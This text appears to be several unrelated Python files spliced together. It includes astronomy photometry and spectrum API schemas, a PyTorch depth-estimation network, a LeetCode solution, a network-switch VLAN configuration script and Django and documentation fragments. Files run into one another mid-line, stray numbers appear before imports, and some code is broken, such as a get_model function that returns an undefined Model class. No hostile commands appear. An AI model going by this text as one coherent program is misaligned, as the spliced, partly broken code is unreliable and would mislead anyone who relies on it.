'alert_id' in data and data['alert_id'] is not None: p.alert_id = data['alert_id'] return p class PhotometryMag(_Schema, PhotBase): """This is one of two classes that are used for deserializing and validating the postprocessed input data of `PhotometryHandler.post` and `PhotometryHandler.put` and for generating the API docs of `PhotometryHandler.get`. """ mag = fields.Number( metadata={ 'description': 'Magnitude of the observation in the ' 'magnitude system `magsys`. Can be null ' 'in the case of a non-detection.' }, required=False, missing=None, default=None, ) magerr = fields.Number( metadata={ 'description': 'Magnitude error of the observation in ' 'the magnitude system `magsys`. Can be ' 'null in the case of a non-detection.' }, required=False, missing=None, default=None, ) limiting_mag = fields.Number( metadata={ 'description': 'Limiting magnitude of the image ' 'in the magnitude system `magsys`.' }, required=True, ) @post_load def parse_mag(self, data, **kwargs): """Return a `Photometry` object from a `PhotometryMag` marshmallow schema. Parameters ---------- data : dict The instance of the PhotometryMag schema to convert to Photometry. Returns ------- Photometry The Photometry object generated from the PhotometryMag dict. """ from skyportal.models import Instrument, Obj, PHOT_SYS, PHOT_ZP, Photometry from sncosmo.photdata import PhotometricData # check that mag and magerr are both null or both not null, not a mix ok = any( [ all([op(field, None) for field in [data['mag'], data['magerr']]]) for op in [operator.is_, operator.is_not] ] ) if not ok: raise ValidationError( f'Error parsing packet "{data}": mag ' f'and magerr must both be null, or both be ' f'not null.' ) # get the instrument instrument = Instrument.query.get(data['instrument_id']) if not instrument: raise ValidationError(f'Invalid instrument ID: {data["instrument_id"]}') # get the object obj = Obj.query.get(data['obj_id']) # TODO: implement permissions checking if not obj: raise ValidationError(f'Invalid object ID: {data["obj_id"]}') if data["filter"] not in instrument.filters: raise ValidationError( f"Instrument {instrument.name} has no filter " f"{data['filter']}." ) # determine if this is a limit or a measurement hasmag = data['mag'] is not None if hasmag: flux = 10 ** (-0.4 * (data['mag'] - PHOT_ZP)) fluxerr = data['magerr'] / (2.5 / np.log(10)) * flux else: nsigflux = 10 ** (-0.4 * (data['limiting_mag'] - PHOT_ZP)) flux = None fluxerr = nsigflux / PHOT_DETECTION_THRESHOLD # convert flux to microJanskies. table = Table( [ { 'flux': flux, 'fluxerr': fluxerr, 'magsys': data['magsys'], 'zp': PHOT_ZP, 'filter': data['filter'], 'mjd': data['mjd'], } ] ) if flux is None: # this needs to be non-null for the conversion step # will be replaced later with null table['flux'] = 0.0 # conversion happens here photdata = PhotometricData(table).normalized(zp=PHOT_ZP, zpsys=PHOT_SYS) # replace with null if needed final_flux = None if flux is None else photdata.flux[0] p = Photometry( obj_id=data['obj_id'], mjd=data['mjd'], flux=final_flux, fluxerr=photdata.fluxerr[0], instrument_id=data['instrument_id'], assignment_id=data['assignment_id'], filter=data['filter'], ra=data['ra'], dec=data['dec'], ra_unc=data['ra_unc'], dec_unc=data['dec_unc'], ) if 'alert_id' in data and data['alert_id'] is not None: p.alert_id = data['alert_id'] return p class AssignmentSchema(_Schema): # For generating API docs and extremely basic validation run_id = fields.Integer(required=True) obj_id = fields.String( required=True, metadata={'description': 'The ID of the object to observe.'} ) priority = ApispecEnumField( py_followup_priorities, required=True, metadata={ "description": ('Priority of the request, ' '(lowest = 1, highest = 5).') }, ) status = fields.String(metadata={'description': 'The status of the request'}) comment = fields.String( metadata={'description': 'An optional comment describing the request.'} ) class ObservationHandlerPost(_Schema): telescopeName = fields.String( required=True, metadata={"description": ('The telescope name associated with the fields')}, ) instrumentName = fields.String( required=True, metadata={"description": ('The instrument name associated with the fields')}, ) observationData = fields.Field( metadata={'description': 'Observation data dictionary list'} ) class ObservationExternalAPIHandlerPost(_Schema): start_date = fields.Field( required=True, metadata={'description': "start date of the request."} ) end_date = fields.Field( required=True, metadata={'description': "end date of the request."} ) allocation_id = fields.Integer( required=True, metadata={'description': "Followup request allocation ID."}, ) class ObservationASCIIFileHandlerPost(_Schema): instrumentID = fields.String( required=True, metadata={"description": ('The instrument ID associated with the fields')}, ) observationData = fields.Field( metadata={'description': 'Observation data Ascii string'} ) class ObservingRunPost(_Schema): instrument_id = fields.Integer( required=True, metadata={ "description": ('The ID of the instrument to be ' 'used in this run.') }, ) # name of the PI pi = fields.String(metadata={'description': 'The PI of the observing run.'}) observers = fields.String(metadata={'description': 'The names of the observers'}) group_id = fields.Integer( metadata={'description': 'The ID of the group this run is associated with.'} ) calendar_date = fields.Date( metadata={"description": 'The local calendar date of the run.'}, required=True ) class GcnHandlerPut(_Schema): xml = fields.String(metadata={'description': 'VOEvent XML content.'}) class GcnEventHandlerGet(_Schema): tags = fields.List(fields.Field(), metadata={'description': 'Event tags'}) dateobs = fields.Field(metadata={'description': 'UTC event timestamp'}) localizations = fields.List( fields.Field(), metadata={'description': 'Healpix localizations'} ) notices = fields.List( fields.Field(), metadata={'description': 'VOEvent XML notices'} ) lightcurve = fields.String(metadata={'description': 'URL for light curve'}) class LocalizationHandlerGet(_Schema): localization_name = fields.String(metadata={'description': 'Localization name'}) dateobs = fields.String(metadata={'description': 'UTC event timestamp'}) flat_2d = fields.List( fields.Float, metadata={'description': 'Flattened 2D healpix map'} ) contour = fields.Field(metadata={'description': 'GeoJSON contours of healpix map'}) class GcnEventViewsHandlerGet(_Schema): tags = fields.List(fields.Field(), metadata={'description': 'Event list'}) class FollowupRequestPost(_Schema): obj_id = fields.String( required=True, metadata={'description': "ID of the target Obj."}, ) payload = fields.Field( required=False, metadata={'description': "Content of the followup request."} ) status = fields.String( missing="pending submission", metadata={'description': "The status of the request."}, required=False, ) allocation_id = fields.Integer( required=True, metadata={'description': "Followup request allocation ID."}, ) target_group_ids = fields.List( fields.Integer, required=False, metadata={ 'description': ( 'IDs of groups to share the results of the f' 'ollowup request with.' ) }, ) class ObservationPlanPost(_Schema): gcnevent_id = fields.Integer( required=True, metadata={'description': "ID of the GcnEvent."}, ) payload = fields.Field( required=False, metadata={'description': "Content of the followup request."} ) status = fields.String( missing="pending submission", metadata={'description': "The status of the request."}, required=False, ) allocation_id = fields.Integer( required=True, metadata={'description': "Followup request allocation ID."}, ) localization_id = fields.Integer( required=True, metadata={'description': "Localization ID."}, ) target_group_ids = fields.List( fields.Integer, required=False, metadata={ 'description': ( 'IDs of groups to share the results of the followup request with.' ) }, ) class ObservingRunGet(ObservingRunPost): owner_id = fields.Integer( metadata={'description': 'The User ID of the owner of this run.'} ) ephemeris = fields.Field(metadata={'description': 'Observing run ephemeris data.'}) id = fields.Integer(metadata={'description': 'Unique identifier for the run.'}) @pre_dump def serialize(self, data, **kwargs): data.ephemeris = data.instrument.telescope.ephemeris(data.calendar_noon) return data class ObservingRunGetWithAssignments(ObservingRunGet): assignments = fields.List(fields.Field()) instrument = fields.Field() class PhotometryRangeQuery(_Schema): instrument_ids = fields.List( fields.Integer, metadata={ 'description': ( "IDs of the instruments to query " "for photometry from. If `None`, " "queries all instruments." ) }, required=False, missing=None, default=None, ) min_date = fields.DateTime( required=False, metadata={ 'description': ( 'Query for photometry taken after ' 'this UT `DateTime`. For an ' 'open-ended interval use `None`.' ) }, missing=None, default=None, ) max_date = fields.DateTime( required=False, metadata={ 'description': ( 'Query for photometry taken before ' 'this UT `DateTime`. For an ' 'open-ended interval use `None`.' ) }, missing=None, default=None, ) class SpectrumAsciiFileParseJSON(_Schema): wave_column = fields.Integer( missing=0, metadata={ 'description': ( "The 0-based index of the ASCII column corresponding " "to the wavelength values of the spectrum (default 0)." ) }, ) flux_column = fields.Integer( missing=1, metadata={ 'description': ( "The 0-based index of the ASCII column corresponding to " "the flux values of the spectrum (default 1)." ) }, ) fluxerr_column = fields.Integer( missing=None, metadata={ 'description': ( "The 0-based index of the ASCII column corresponding to the flux " "error values of the spectrum (default None). If a column for errors " "is provided, set to the corresponding 0-based column number, " "otherwise, it will be ignored." ) }, ) ascii = fields.String( metadata={ 'description': """The content of the ASCII file to be parsed. The file can optionally contain a header which will be parsed and stored. The lines that make up the ASCII header must appear at the beginning of the \ file and all be formatted the same way within a single file. They can be \ formatted in one of two ways. ``` 1) # KEY: VALUE 2) # KEY = VALUE / COMMENT ``` `astropy.io.ascii.read` is used to load the table into Python memory. An \ attempt is made to parse the header first using method 1, then method 2. Example of format 1: ``` # XTENSION: IMAGE # BITPIX: -32 # NAXIS: 2 # NAXIS1: 433 # NAXIS2: 1 # RA: 230.14 ``` Example of format 2: ``` # FILTER = 'clear ' / Filter # EXPTIME = 600.003 / Total exposure time (sec); avg. of R&B # OBJECT = 'ZTF20abpuxna' / User-specified object name # TARGNAME= 'ZTF20abpuxna_S1' / Target name (from starlist) # DICHNAME= '560 ' / Dichroic # GRISNAME= '400/3400' / Blue grism # GRANAME = '400/8500' / Red grating # WAVELEN = 7829.41406250 / Red specified central wavelength # BLUFILT = 'clear ' / Blue filter # REDFILT = 'Clear ' / Red filter # SLITNAME= 'long_1.0' / Slitmask # INSTRUME= 'LRIS+LRISBLUE' / Camera # TELESCOP= 'Keck I ' / Telescope name # BLUDET = 'LRISB ' / LRIS blue detector # REDDET = 'LRISR3 ' / LRIS red detector # OBSERVER= '' / Observer name # REDUCER = ' ' / Name of reducer # LPIPEVER= '2020.06 ' / LPipe version number # HOSTNAME= 'gayatri ' / LPipe host computer name # IDLVER = '8.1 ' / IDL version number # DATE = '2020-09-15T09:47:10' / UT end of last exposure ``` The data must be at least 2 column ascii (wavelength, flux). If flux errors are \ provided in an additional column, the column must be specified in the call. \ If more than 2 columns are given, by default the first two are interpreted as \ (wavelength, flux). The column indices of each of these arguments can be controlled \ by passing the integer column index to the POST JSON. Examples of valid data sections: Many-column ASCII: ``` 10295.736 2.62912e-16 1.67798e-15 2.24407e-17 4084 75.956 5.48188e+15 0 10296.924 2.96887e-16 1.57197e-15 2.21469e-17 4085 75.959 5.42569e+15 0 10298.112 3.20429e-16 1.45017e-15 2.16863e-17 4086 75.962 5.36988e+15 0 10299.301 3.33367e-16 1.06116e-15 1.94187e-17 4087 75.965 5.31392e+15 0 10300.489 3.09943e-16 6.99539e-16 1.67183e-17 4088 75.968 5.25836e+15 0 10301.678 3.48273e-16 5.56194e-16 1.59555e-17 4089 75.972 5.20314e+15 0 10302.866 3.48102e-16 5.28483e-16 1.58033e-17 4090 75.975 5.15146e+15 0 10304.055 3.78640e-16 6.00997e-16 1.67462e-17 4091 75.978 5.10058e+15 0 10305.243 4.28820e-16 7.18759e-16 1.81534e-17 4092 75.981 5.05032e+15 0 10306.432 4.13152e-16 7.54203e-16 1.83965e-17 4093 75.984 5.00097e+15 0 ``` 3-column ASCII: ``` 8993.2 1.148e-16 7.919e-34 9018.7 1.068e-16 6.588e-34 9044.3 1.056e-16 5.660e-34 9069.9 9.763e-17 5.593e-34 9095.4 1.048e-16 8.374e-34 9121.0 1.026e-16 8.736e-34 9146.6 8.472e-17 9.505e-34 9172.1 9.323e-17 7.592e-34 9197.7 1.050e-16 7.863e-34 9223.3 8.701e-17 7.135e-34 ``` 2-column ASCII: ``` 10045.1 0.0217740 10046.3 0.0182158 10047.4 0.0204764 10048.6 0.0231833 10049.8 0.0207157 10051.0 0.0185226 10052.2 0.0200072 10053.4 0.0205159 10054.5 0.0199460 10055.7 0.0210533 ``` 2-column ASCII: ``` 7911.60 1.045683 7920.80 1.046414 7930.00 1.235362 7939.20 0.783466 7948.40 1.116153 7957.60 1.375844 7966.80 1.029127 7976.00 1.019637 7985.20 0.732859 7994.40 1.236514 ``` """ }, required=True, ) class SpectrumAsciiFilePostJSON(SpectrumAsciiFileParseJSON): obj_id = fields.String( metadata={'description': 'The ID of the object that the spectrum is of.'}, required=True, ) instrument_id = fields.Integer( metadata={'description': 'The ID of the instrument that took the spectrum.'}, required=True, ) type = fields.String( validate=validate.OneOf(ALLOWED_SPECTRUM_TYPES), required=False, metadata={ 'by_value': True, 'description': f'''Type of spectrum. One of: {', '.join(f"'{t}'" for t in ALLOWED_SPECTRUM_TYPES)}. Defaults to 'f{default_spectrum_type}'.''', }, ) label = fields.String( metadata={ 'description': 'User defined label to be placed in plot legends, ' 'instead of the default -.' }, required=False, ) observed_at = fields.DateTime( metadata={'description': 'The ISO UTC time the spectrum was taken.'}, required=True, ) group_ids = fields.List( fields.Integer, metadata={'description': "The IDs of the groups to share this spectrum with."}, ) filename = fields.String( metadata={'description': "The original filename (for bookkeeping purposes)."}, required=True, ) reduced_by = fields.List( fields.Integer, metadata={ 'description': "IDs of the Users who reduced this Spectrum, or to use as points of contact given an external reducer." }, missing=[], ) external_reducer = fields.String( metadata={'description': "Free text provided as an external reducer"}, required=False, missing=None, ) observed_by = fields.List( fields.Integer, metadata={ 'description': "IDs of the Users who observed this Spectrum, or to use as points of contact given an external observer." }, missing=[], ) external_observer = fields.String( metadata={'description': "Free text provided as an external observer"}, required=False, missing=None, ) followup_request_id = fields.Integer( required=False, metadata={ 'description': ( 'ID of the Followup request that generated this spectrum, ' 'if any.' ) }, ) assignment_id = fields.Integer( required=False, metadata={ 'description': ( 'ID of the classical assignment that generated this spectrum, ' 'if any.' ) }, ) class SpectrumPost(_Schema): wavelengths = fields.List( fields.Float, required=True, metadata={'description': "Wavelengths of the spectrum [Angstrom]."}, ) fluxes = fields.List( fields.Float, required=True, metadata={'description': "Flux of the Spectrum [F_lambda, arbitrary units]."}, ) errors = fields.List( fields.Float, metadata={ 'description': "Errors on the fluxes of the spectrum [F_lambda, same units as `fluxes`.]" }, ) obj_id = fields.String( required=True, metadata={'description': "ID of this Spectrum's Obj."}, ) observed_at = fields.DateTime( metadata={'description': 'The ISO UTC time the spectrum was taken.'}, required=True, ) reduced_by = fields.List( fields.Integer, metadata={ 'description': "IDs of the Users who reduced this Spectrum, or to use as points of contact given an external reducer." }, missing=[], ) external_reducer = fields.String( metadata={'description': "Free text provided as an external reducer"}, required=False, missing=None, ) observed_by = fields.List( fields.Integer, metadata={ 'description': "IDs of the Users who observed this Spectrum, or to use as points of contact given an external observer." }, missing=[], ) external_observer = fields.String( metadata={'description': "Free text provided as an external observer"}, required=False, missing=None, ) origin = fields.String( required=False, metadata={'description': "Origin of the spectrum."} ) type = fields.String( validate=validate.OneOf(ALLOWED_SPECTRUM_TYPES), required=False, metadata={ "description": f'''Type of spectrum. One of: {''.join(f"'{t}'" for t in ALLOWED_SPECTRUM_TYPES)}. Defaults to 'f{default_spectrum_type}'.''' }, ) label = fields.String( required=False, metadata={ 'description': "User defined label (can be used to replace default instrument/date labeling on plot legends)." }, ) instrument_id = fields.Integer( required=True, metadata={'description': "ID of the Instrument that acquired the Spectrum."}, ) group_ids = fields.Field( missing=[], metadata={ 'description': 'IDs of the Groups to share this spectrum with. Set to "all"' ' to make this spectrum visible to all users.' }, ) followup_request_id = fields.Integer( required=False, metadata={ 'description': 'ID of the Followup request that generated this spectrum, ' 'if any.' }, ) assignment_id = fields.Integer( required=False, metadata={ 'description': 'ID of the classical assignment that generated this spectrum, ' 'if any.' }, ) altdata = fields.Field( metadata={'description': 'Miscellaneous alternative metadata.'} ) class GroupIDList(_Schema): group_ids = fields.List(fields.Integer, required=True) class GalaxyHandlerPost(_Schema): catalog_name = fields.String(metadata={"description": 'Galaxy catalog name.'}) catalog_data = fields.List( fields.Field(), metadata={"description": 'Galaxy catalog data'} ) def register_components(spec): print('Registering schemas with APISpec') schemas = inspect.getmembers( sys.modules[__name__], lambda m: isinstance(m, _Schema) ) for (name, schema) in schemas: spec.components.schema(name, schema=schema) single = 'Single' + name arrayOf = 'ArrayOf' + name + 's' spec.components.schema(single, schema=success(single, schema)) spec.components.schema(arrayOf, schema=success(arrayOf, [schema])) # Replace schemas by instantiated versions # These are picked up in `setup_schema` for the registry Response = Response() Error = Error() Success = success('Success') SinglePhotometryFlux = success('SinglePhotometryFlux', PhotometryFlux) SinglePhotometryMag = success('SinglePhotometryMag', PhotometryMag) PhotometryFlux = PhotometryFlux() PhotometryMag = PhotometryMag() PhotMagFlexible = PhotMagFlexible() PhotFluxFlexible = PhotFluxFlexible() ObservingRunPost = ObservingRunPost() ObservingRunGet = ObservingRunGet() AssignmentSchema = AssignmentSchema() ObservingRunGetWithAssignments = ObservingRunGetWithAssignments() PhotometryRangeQuery = PhotometryRangeQuery() SpectrumAsciiFilePostJSON = SpectrumAsciiFilePostJSON() FollowupRequestPost = FollowupRequestPost() ObservationPlanPost = ObservationPlanPost() ObservationExternalAPIHandlerPost = ObservationExternalAPIHandlerPost() SpectrumAsciiFileParseJSON = SpectrumAsciiFileParseJSON() SpectrumPost = SpectrumPost() GroupIDList = GroupIDList() marltoolbox/algos/lola_dice/envs/__init__.py from .bot import IteratedAsymBoS from .coin_game import CoinGameVec, AsymCoinGameVec from .matching_pennies import IteratedMatchingPennies from .prisoners_dilemma import IteratedPrisonersDilemma # Aliases CG = CoinGameVec IMP = IteratedMatchingPennies IPD = IteratedPrisonersDilemma AsymBoS = IteratedAsymBoS AsymCG = AsymCoinGameVec 10-100 import torch import torch.nn as nn from torch.utils.data import DataLoader, ConcatDataset import torch.nn.functional as F from torch.utils import data from torch.utils.data.dataloader import default_collate from torch.autograd import Variable class Inception(nn.Module): def __init__(self, input_size, config): self.config = config super(Inception,self).__init__() self.convs = nn.ModuleList() # Base 1*1 conv layer self.convs.append(nn.Sequential( nn.Conv2d(input_size, config[0][0],1,1), nn.BatchNorm2d(config[0][0],affine=False), nn.ReLU(True), )) # Additional layers for i in range(1, len(config)): filt = config[i][0] pad = int((filt-1)/2) out_a = config[i][1] out_b = config[i][2] conv = nn.Sequential( nn.Conv2d(input_size, out_a,1,1), nn.BatchNorm2d(out_a,affine=False), nn.ReLU(True), nn.Conv2d(out_a, out_b, filt,padding=pad), nn.BatchNorm2d(out_b,affine=False), nn.ReLU(True) ) self.convs.append(conv) def __repr__(self): return "inception"+str(self.config) def forward(self, x): ret = [] for conv in (self.convs): ret.append(conv(x)) # print(torch.cat(ret,dim=1)) return torch.cat(ret,dim=1) class Interpolate(nn.Module): def __init__(self, scale_factor): super(Interpolate, self).__init__() self.scale_factor = scale_factor self.mode = 'nearest' def forward(self, x): x = nn.functional.interpolate(x, scale_factor=self.scale_factor, mode=self.mode) return x class Channels1(nn.Module): def __init__(self): super(Channels1, self).__init__() self.list = nn.ModuleList() self.list.append( nn.Sequential( Inception(256,[[64],[3,32,64],[5,32,64],[7,32,64]]), Inception(256,[[64],[3,32,64],[5,32,64],[7,32,64]]) ) ) #EE self.list.append( nn.Sequential( nn.MaxPool2d(kernel_size=2,stride=2), Inception(256,[[64],[3,32,64],[5,32,64],[7,32,64]]), Inception(256,[[64],[3,32,64],[5,32,64],[7,32,64]]), Inception(256,[[64],[3,32,64],[5,32,64],[7,32,64]]), Interpolate(scale_factor=2) ) ) #EEE def forward(self,x): return self.list[0](x)+self.list[1](x) class Channels2(nn.Module): def __init__(self): super(Channels2, self).__init__() self.list = nn.ModuleList() self.list.append( nn.Sequential( Inception(256, [[64], [3,32,64], [5,32,64], [7,32,64]]), Inception(256, [[64], [3,64,64], [7,64,64], [11,64,64]]) ) )#EF self.list.append( nn.Sequential( nn.AvgPool2d(kernel_size=2, stride=2), Inception(256, [[64], [3,32,64], [5,32,64], [7,32,64]]), Inception(256, [[64], [3,32,64], [5,32,64], [7,32,64]]), Channels1(), Inception(256, [[64], [3,32,64], [5,32,64], [7,32,64]]), Inception(256, [[64], [3,64,64], [7,64,64], [11,64,64]]), Interpolate(scale_factor=2) ) )#EE1EF def forward(self,x): return self.list[0](x)+self.list[1](x) class Channels3(nn.Module): def __init__(self): super(Channels3, self).__init__() self.list = nn.ModuleList() self.list.append( nn.Sequential( nn.AvgPool2d(kernel_size=2, stride=2), Inception(128, [[32], [3,32,32], [5,32,32], [7,32,32]]), Inception(128, [[64], [3,32,64], [5,32,64], [7,32,64]]), Channels2(), Inception(256, [[64], [3,32,64], [5,32,64], [7,32,64]]), Inception(256, [[32], [3,32,32], [5,32,32], [7,32,32]]), Interpolate(scale_factor=2) ) )#BD2EG self.list.append( nn.Sequential( Inception(128, [[32], [3,32,32], [5,32,32], [7,32,32]]), Inception(128, [[32], [3,64,32], [7,64,32], [11,64,32]]) ) )#BC def forward(self,x): return self.list[0](x)+self.list[1](x) class Channels4(nn.Module): def __init__(self): super(Channels4, self).__init__() self.list = nn.ModuleList() self.list.append( nn.Sequential( nn.AvgPool2d(kernel_size=2, stride=2), Inception(128, [[32], [3,32,32], [5,32,32], [7,32,32]]), Inception(128, [[32], [3,32,32], [5,32,32], [7,32,32]]), Channels3(), Inception(128, [[32], [3,64,32], [5,64,32], [7,64,32]]), Inception(128, [[16], [3,32,16], [7,32,16], [11,32,16]]), Interpolate(scale_factor=2) ) )#BB3BA self.list.append( nn.Sequential( Inception(128, [[16], [3,64,16], [7,64,16], [11,64,16]]) ) )#A def forward(self,x): return self.list[0](x)+self.list[1](x) class NIPSDepthNetwork(nn.Module): def __init__(self): super(NIPSDepthNetwork, self).__init__() print("===================================================") print("Using NIPSDepthNetwork") print("===================================================") self.seq = nn.Sequential( nn.Conv2d(3,128,7,padding=3,stride=1), nn.BatchNorm2d(128), nn.ReLU(True), Channels4(), nn.Conv2d(64,1,3,padding=1) ) def forward(self,x): # print(x.data.size()) return self.seq(x) def prediction_from_output(self, outputs): return outputs class NIPSSurfaceNetwork(nn.Module): def __init__(self): super(NIPSSurfaceNetwork, self).__init__() print("===================================================") print("Using NIPSSurfaceNetwork") print("===================================================") self.seq = nn.Sequential( nn.Conv2d(3,128,7,padding=3), nn.BatchNorm2d(128), nn.ReLU(True), Channels4(), nn.Conv2d(64,3,3,padding=1) ) def forward(self,x): return self.seq(x) def prediction_from_output(self, outputs): return outputs def get_model(): return Model()0 from gridworld_basic.envs.gridworld_env import GridworldEnv# -*- coding: utf-8 -*- # @Time : 2019/12/27 0027 20:47 # @Author : songzhenxi # @Email : # @File : LeetCode_169_1034.py # @Software: PyCharm # 给定一个大小为 n 的数组，找到其中的多数元素。多数元素是指在数组中出现次数大于 ⌊ n/2 ⌋ 的元素。 # # 你可以假设数组是非空的，并且给定的数组总是存在多数元素。 # # 示例 1: # # 输入: [3,2,3] # 输出: 3 # # 示例 2: # # 输入: [2,2,1,1,1,2,2] # 输出: 2 # # Related Topics 位运算 数组 分治算法 # leetcode submit region begin(Prohibit modification and deletion) class Solution(object): def majorityElement(self, nums): """ 题目：169.多数元素（https://leetcode-cn.com/problems/majority-element/） 学号：1034（五期一班三组） :type nums: List[int] :rtype: int """ return sorted(nums)[len(nums) >> 1] if nums else -1 # leetcode submit region end(Prohibit modification and deletion) #!/usr/bin/env python3 # Copyright 2019 IBM Corp. # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import os.path import sys import readline import lib.logger as logger from lib.config import Config from lib.switch import SwitchFactory from lib.switch_exception import SwitchException from lib.exception import UserCriticalException from lib.genesis import GEN_PATH # from write_switch_memory import WriteSwitchMemory ACTIVE = 'active' PASSIVE = 'passive' def rlinput(prompt, prefill=''): readline.set_startup_hook(lambda: readline.insert_text(prefill)) try: return input(prompt) finally: readline.set_startup_hook() def configure_mgmt_switches(config_file=None): LOG = logger.getlogger() cfg = Config(config_file) LOG.debug('------------------- configure_mgmt_switches -------------------') for index, switch_label in enumerate(cfg.yield_sw_mgmt_label()): mode = ACTIVE label = cfg.get_sw_mgmt_label(index) LOG.info('Configuring switch: {}'.format(switch_label)) switch_class = cfg.get_sw_mgmt_class(index) if not switch_class: LOG.error('Unrecognized switch class') raise UserCriticalException('Unrecognized switch class') userid = None password = switch_ip = None if cfg.is_passive_mgmt_switches(): mode = PASSIVE try: userid = cfg.get_sw_mgmt_userid(index) except AttributeError: pass try: password = cfg.get_sw_mgmt_password(index) except AttributeError: try: cfg.get_sw_mgmt_ssh_key(index) except AttributeError: pass else: LOG.error( 'Switch authentication via ssh keys not yet supported') raise UserCriticalException( 'Switch authentication via ssh keys not yet supported') if mode == PASSIVE: sw = SwitchFactory.factory(switch_class, mode) elif mode == ACTIVE: # Try all ipaddrs in switches.interfaces for ip in cfg.yield_sw_mgmt_interfaces_ip(index): sw = SwitchFactory.factory( switch_class, ip, userid, password) # Get the enumerations needed to call set_switchport_mode() and # allowed_vlans_port() port_mode, allow_op = sw.get_enums() if sw.is_pingable(): LOG.debug( 'Sucessfully pinged management switch \"%s\" at %s' % (label, ip)) switch_ip = ip break LOG.debug( 'Failed to ping management switch \"%s\" at %s' % (label, ip)) else: LOG.error('Management switch is not responding to pings') raise UserCriticalException( 'Management switch at address {} is not responding to ' 'pings'.format(ip)) LOG.debug( '%d: \"%s\" (%s) %s %s/%s' % (index, switch_label, mode, switch_ip, userid, password)) ports_cfg = sw.show_ports(format='std') sw_vlans = [] for port in ports_cfg: if int(ports_cfg[str(port)]['nvlan']) not in sw_vlans: sw_vlans.append(int(port)) avlans = ports_cfg[str(port)]['avlans'].split(', ') for avlan in avlans: if avlan and int(avlan) not in sw_vlans: sw_vlans.append(int(avlan)) vlan_mgmt = cfg.get_depl_netw_mgmt_vlan() vlan_mgmt = [x for x in vlan_mgmt if x is not None] LOG.debug('Management vlans: {}'.format(vlan_mgmt)) vlan_client = cfg.get_depl_netw_client_vlan() LOG.debug('vlan_mgmt: {} , vlan_client: {}'.format(vlan_mgmt, vlan_client)) for vlan in vlan_mgmt + vlan_client: if vlan and vlan not in sw_vlans: print('.', end="") sys.stdout.flush() sw.create_vlan(vlan) for intf_i, ip in enumerate(cfg.yield_sw_mgmt_interfaces_ip(index)): if ip != switch_ip: vlan = cfg.get_sw_mgmt_interfaces_vlan(index, intf_i) if vlan is None: vlan = vlan_mgmt[0] netmask = cfg.get_sw_mgmt_interfaces_netmask(index, intf_i) try: LOG.debug( "Configuring mgmt switch \"%s\" inband interface. " "(ip=%s netmask=%s vlan=%s)" % (label, ip, netmask, vlan)) # sw.configure_interface(ip, netmask, vlan, port) sw.configure_interface(ip, netmask, vlan) except SwitchException as exc: LOG.warning(exc) for target_i, target in ( enumerate(cfg.yield_sw_mgmt_links_target(index))): port = cfg.get_sw_mgmt_links_port(index, target_i) if target.lower() == 'deployer': vlans = vlan_mgmt + vlan_client if ports_cfg[str(port)]['mode'] != 'trunk': try: print('.', end="") sys.stdout.flush() LOG.debug('Adding vlans {} to port {}'.format(vlans, port)) sw.set_switchport_mode(port, port_mode.TRUNK) except SwitchException as exc: LOG.error(exc) else: LOG.debug('Port {} already in trunk mode'.format(port)) port_vlans = ports_cfg[str(port)]['avlans'].split(', ') add_vlans = False for vlan in vlan_client: if str(vlan) not in port_vlans: add_vlans = True if (vlan_mgmt and str(vlan_mgmt) not in port_vlans) or add_vlans: try: sw.allowed_vlans_port(port, allow_op.ADD, vlans) except SwitchException as exc: LOG.error(exc) else: vlan = cfg.get_sw_mgmt_links_vlan(index, target_i) if vlan is None: if not vlan_mgmt: vlan = 1 else: vlan = vlan_mgmt[0] if ports_cfg[str(port)]['mode'] != 'trunk' or \ str(vlan) not in ports_cfg[str(port)]['avlans'].split(', '): try: sw.set_switchport_mode(port, port_mode.TRUNK) sw.allowed_vlans_port(port, allow_op.NONE) sw.allowed_vlans_port(port, allow_op.ADD, vlan) sw.set_switchport_mode(port, port_mode.TRUNK, vlan) except SwitchException as exc: LOG.error(exc) for if_type in ['ipmi', 'pxe']: vlan = cfg.get_depl_netw_client_vlan(if_type=if_type)[0] for port in cfg.yield_client_switch_ports(switch_label, if_type): if mode == 'passive': LOG.debug('Set switchport mode - switch is in passive mode.') else: print('.', end="") sys.stdout.flush() if vlan != int(ports_cfg[str(port)]['nvlan']): try: LOG.debug('Setting port {} into {} mode with access ' 'vlan {}'.format(port, port_mode.ACCESS, vlan)) sw.set_switchport_mode(port, port_mode.ACCESS, vlan) except SwitchException as exc: LOG.error(exc) else: LOG.debug('\n{} port {} access vlan already configured.'. format(if_type, port)) # Remove (optionally) access vlan from ports in pxe or ipmi vlan that # are not listed in the config file. ports = cfg.get_client_switch_ports(switch_label, if_type) resp = 'y' for port in ports_cfg: if int(port) not in ports and ports_cfg[port]['nvlan'] == str(vlan): msg = ('Port {} on switch {} configured with vlan {} but is ' 'not specified in the {} network in your cluster config ' 'file '.format(port, switch_label, vlan, if_type)) print() LOG.warning(msg) if resp not in ('yta', 'nta'): resp = rlinput('\nOK to remove port {} from {} vlan ' '(y/yta/n/nta)? '.format(port, if_type), 'y') if resp in ('y', 'yta'): sw.set_switchport_mode(port, port_mode.ACCESS, 1) # write switch memory? # if cfg.is_write_switch_memory(): # switch_mem = WriteSwitchMemory(log, INV_FILE) # switch_mem.write_mgmt_switch_memory() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('config_path', default='config.yml', help='Config file path. Absolute path or relative ' 'to power-up/') parser.add_argument('--print', '-p', dest='log_lvl_print', help='print log level', default='info') parser.add_argument('--file', '-f', dest='log_lvl_file', help='file log level', default='info') args = parser.parse_args() if not os.path.isfile(args.config_path): args.config_path = GEN_PATH + args.config_path print('Using config path: {}'.format(args.config_path)) if not os.path.isfile(args.config_path): sys.exit('{} does not exist'.format(args.config_path)) logger.create(args.log_lvl_print, args.log_lvl_file) configure_mgmt_switches(args.config_path) from django.conf.urls import url from usaspending_api.submissions import views # bind ViewSets to URLs submission_list = views.SubmissionAttributesViewSet.as_view({"get": "list", "post": "list"}) urlpatterns = [url(r"^$", submission_list)] # apis_v1/documentation_source/organizations_followed_retrieve_doc.py # Brought to you by We Vote. Be good. # -*- coding: UTF-8 -*- def organizations_followed_retrieve_doc_template_values(url_root): """ Show documentation about organizationsFollowedRetrieve """ required_query_parameter_list = [ { 'name': 'voter_device_id', 'value': 'string', # boolean, integer, long, 